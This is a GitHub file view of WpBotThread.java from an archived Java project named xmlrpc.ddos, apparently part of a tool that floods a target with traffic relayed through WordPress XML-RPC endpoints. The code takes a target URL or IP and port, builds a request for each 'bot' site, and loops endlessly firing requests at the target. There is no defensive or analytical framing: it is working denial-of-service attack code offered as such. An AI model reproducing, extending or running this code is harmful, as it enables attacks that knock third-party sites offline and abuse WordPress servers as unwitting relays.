This repository was archived by the owner on Oct 5, 2018. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWpBotThread.java
More file actions
79 lines (63 loc) · 1.75 KB
/
Copy pathWpBotThread.java
File metadata and controls
79 lines (63 loc) · 1.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package xmlrpc.ddos;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import xmlrpc.ddos.XMLRPCDDoS;
import xmlrpc.ddos.XMLRPCRequest;
import xmlrpc.ddos.sql.RpcWpBot;
/**
*
* @author Melancholia
*/
public class WpBotThread implements Runnable {
private List bots;
private String target;
public boolean started = false;
private static SecureRandom rand = new SecureRandom();
public WpBotThread(String targetURL, List bots) {
this.bots = bots;
this.target = targetURL;
}
public WpBotThread(String ip, int port, List bots) {
this.bots = bots;
this.target = "http://" + ip + ":" + port + "/";
}
private static int randomValue(int i1, int i2) {
return rand.nextInt(i2 - i1 + 1) + i1;
}
public void run() {
ArrayList botsRequests = new ArrayList();
Iterator var3 = this.bots.iterator();
while(var3.hasNext()) {
RpcWpBot bot = (RpcWpBot)var3.next();
try {
botsRequests.add(new XMLRPCRequest(bot));
} catch (Exception var8) {
;
}
try {
Thread.sleep(100L);
} catch (Exception var7) {
;
}
}
this.started = true;
while(true) {
var3 = botsRequests.iterator();
while(var3.hasNext()) {
XMLRPCRequest bot1 = (XMLRPCRequest)var3.next();
try {
bot1.doRequest(this.target, XMLRPCDDoS.PACKET_PER_BOT_CONNECTION);
} catch (Exception var6) {
;
}
}
try {
Thread.sleep(XMLRPCDDoS.REQUEST_INTVAL_PER_BOT);
} catch (InterruptedException var5) {
;
}
}
}
}